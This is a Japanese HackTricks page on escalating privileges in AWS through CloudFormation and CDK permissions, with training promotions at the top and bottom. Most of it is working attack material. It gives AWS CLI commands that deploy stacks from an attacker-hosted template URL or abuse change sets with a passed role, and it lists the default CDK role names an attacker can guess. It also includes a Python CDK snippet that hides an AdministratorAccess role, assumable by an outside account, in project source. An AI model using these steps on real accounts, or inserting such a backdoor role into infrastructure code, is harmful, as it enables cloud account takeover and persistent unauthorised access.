AWS - Cloudformation Privesc

Reading time: 10 minutes

tip

AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを学び、実践する:HackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポートする

cloudformation

cloudformationに関する詳細情報は、以下を確認してください:

AWS - CloudFormation & Codestar Enum

iam:PassRole, cloudformation:CreateStack

これらの権限を持つ攻撃者は、指定されたロールの権限の下でアクションを実行するために、サーバーにホストされたカスタムテンプレートを使用して CloudFormationスタックを作成することで権限を昇格させることができます:

bash
aws cloudformation create-stack --stack-name <stack-name> \
--template-url http://attacker.com/attackers.template \
--role-arn <arn-role>

以下のページには、追加の権限 cloudformation:DescribeStacks を持つ エクスプロイト例があります:

iam:PassRole, cloudformation:CreateStack,and cloudformation:DescribeStacks

潜在的な影響: 指定されたcloudformationサービスロールへの権限昇格。

iam:PassRole, (cloudformation:UpdateStack | cloudformation:SetStackPolicy)

この場合、既存のcloudformationスタックを悪用して、それを更新し、前のシナリオのように権限を昇格させることができます:

bash
aws cloudformation update-stack \
--stack-name privesc \
--template-url https://privescbucket.s3.amazonaws.com/IAMCreateUserTemplate.json \
--role arn:aws:iam::91029364722:role/CloudFormationAdmin2 \
--capabilities CAPABILITY_IAM \
--region eu-west-1

cloudformation:SetStackPolicy 権限を使用して、自分に UpdateStack 権限を与え、攻撃を実行できます。

潜在的な影響: 指定された cloudformation サービスロールへの権限昇格。

cloudformation:UpdateStack | cloudformation:SetStackPolicy

この権限を持っているが iam:PassRole がない場合でも、使用されているスタックを更新し、既に添付されている IAM ロールを悪用することができます。悪用の例については前のセクションを確認してください(更新時にロールを指定しないでください)。

cloudformation:SetStackPolicy 権限を使用して、自分に UpdateStack 権限を与え、攻撃を実行できます。

潜在的な影響: 既に添付されている cloudformation サービスロールへの権限昇格。

iam:PassRole,((cloudformation:CreateChangeSet, cloudformation:ExecuteChangeSet) | cloudformation:SetStackPolicy)

ロールを渡し、ChangeSet を作成および実行する権限を持つ攻撃者は、新しい cloudformation スタックを作成/更新し、cloudformation サービスロールを悪用することができます。これは CreateStack または UpdateStack と同様です。

以下の悪用は、ChangeSet 権限を使用してスタックを作成する CreateStack の バリエーションです。

bash
aws cloudformation create-change-set \
--stack-name privesc \
--change-set-name privesc \
--change-set-type CREATE \
--template-url https://privescbucket.s3.amazonaws.com/IAMCreateUserTemplate.json \
--role arn:aws:iam::947247140022:role/CloudFormationAdmin \
--capabilities CAPABILITY_IAM \
--region eu-west-1

echo "Waiting 2 mins to change the stack"
sleep 120

aws cloudformation execute-change-set \
--change-set-name privesc \
--stack-name privesc \
--region eu-west-1

echo "Waiting 2 mins to execute the stack"
sleep 120

aws cloudformation describe-stacks \
--stack-name privesc \
--region eu-west-1

cloudformation:SetStackPolicy 権限を使用して、スタックに対して ChangeSet 権限を付与し、攻撃を実行できます。

潜在的な影響: cloudformation サービスロールへの権限昇格。

(cloudformation:CreateChangeSet, cloudformation:ExecuteChangeSet) | cloudformation:SetStackPolicy)

これは、IAM ロールを渡さずに前の方法と同様で、すでにアタッチされているロールを悪用することができます。パラメータを変更するだけです:

--change-set-type UPDATE

潜在的影響: 既にアタッチされているcloudformationサービスロールへの権限昇格。

iam:PassRole,(cloudformation:CreateStackSet | cloudformation:UpdateStackSet)

攻撃者はこれらの権限を悪用してStackSetsを作成/更新し、任意のcloudformationロールを悪用する可能性があります。

潜在的影響: cloudformationサービスロールへの権限昇格。

cloudformation:UpdateStackSet

攻撃者はpassRole権限なしでこの権限を悪用してStackSetsを更新し、アタッチされたcloudformationロールを悪用する可能性があります。

潜在的影響: アタッチされたcloudformationロールへの権限昇格。

AWS CDK

AWS cdkは、ユーザーが既に慣れ親しんでいる言語でインフラストラクチャをコードとして定義できるツールキットであり、セクションを簡単に再利用できます。CDKはその後、高レベルのコード(つまりpython)をCloudformationテンプレート(yamlまたはjson)に変換します。

CDKを使用するには、管理者ユーザーが最初にアカウントをブートストラップする必要があり、これによりいくつかのIAMロールが作成されます。これには、*/*権限を持つexec roleが含まれます。これらのロールは、cdk-<qualifier>-<name>-<account-id>-<region>という命名構造に従います。ブートストラッピングは、アカウントごとに地域ごとに一度行う必要があります。

デフォルトでは、CDKユーザーはCDKを使用するために必要なロールをリストするアクセス権を持っていないため、手動で特定する必要があります。開発者のマシンやCI/CDノードを侵害した場合、これらのロールを引き受けてCFNテンプレートをデプロイする能力を自分に付与することができ、アカウントを完全に侵害することになります。

ロール名の特定

cloudformation:DescribeStacksを持っている場合、ロールはCDKToolkitというスタックに定義されており、そこから名前を取得できます。

CDKプロジェクトのビルドとデプロイに使用されたマシンにいる場合、プロジェクトのルートディレクトリにあるcdk.out/manafest.jsonから取得できます。

また、ロールが何であるかを良い推測をすることもできます。qualifierは、CDKブートストラップの複数のインスタンスを同時にデプロイできるようにロールに追加される文字列ですが、デフォルト値はhnb659fdsにハードコーディングされています。

# Defaults
cdk-hnb659fds-cfn-exec-role-<account-id>-<region>
cdk-hnb659fds-deploy-role-<account-id>-<region>
cdk-hnb659fds-file-publishing-role-<account-id>-<region>
cdk-hnb659fds-image-publishing-role-<account-id>-<region>
cdk-hnb659fds-lookup-role-<account-id>-<region>

プロジェクトソースに悪意のあるコードを追加する

プロジェクトソースに書き込むことができるが、自分でデプロイできない場合(例えば、開発者がCI/CDを介してコードをデプロイする場合)、スタックに悪意のあるリソースを追加することで環境を侵害することができます。以下は、攻撃者アカウントによって引き受けられるIAMロールをpython CDKプロジェクトに追加します。

python
class CdkTestStack(Stack):
def __init__(self, scope: Construct, construct_id: str, **kwargs) -> None:
super().__init__(scope, construct_id, **kwargs)

# ----------
# Some existing code.....
# ----------

role = iam.Role(
self,
"cdk-backup-role", # Role name, make it something subtle
assumed_by=iam.AccountPrincipal("1234567890"), # Account to allow to assume the role
managed_policies=[
iam.ManagedPolicy.from_aws_managed_policy_name("AdministratorAccess") # Policies to attach, in this case AdministratorAccess
],
)

参考文献

tip

AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを学び、実践する:HackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポートする